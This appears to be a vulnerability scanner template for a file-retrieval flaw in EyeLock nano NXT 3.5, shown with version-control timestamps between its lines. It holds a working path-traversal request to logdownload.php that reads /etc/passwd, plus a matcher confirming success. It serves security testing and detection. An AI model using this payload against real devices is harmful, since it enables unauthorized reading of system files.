2021-08-16 10:42:45 +00:00
id : eyelock-nano-lfd
info :
2022-05-13 20:26:43 +00:00
name : EyeLock nano NXT 3.5 - Arbitrary File Retrieval
2021-08-16 10:42:45 +00:00
author : geeknik
severity : high
2022-05-13 20:26:43 +00:00
description : EyeLock nano NXT suffers from a file retrieval vulnerability when input passed through the 'path' parameter to 'logdownload.php' script is not properly verified before being used to read files. This
2022-04-22 10:38:41 +00:00
can be exploited to disclose contents of files from local resources.
reference :
- https://www.zeroscience.mk/codes/eyelock_lfd.txt
2021-08-16 11:10:42 +00:00
tags : iot,lfi,eyelock
2021-08-16 10:42:45 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/scripts/logdownload.php?dlfilename=juicyinfo.txt&path=../../../../../../../../etc/passwd"
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : regex
regex :
- "root:[x*]:0:0:"
part : body
2022-04-11 14:42:35 +00:00
# Enhanced by mp on 2022/04/08
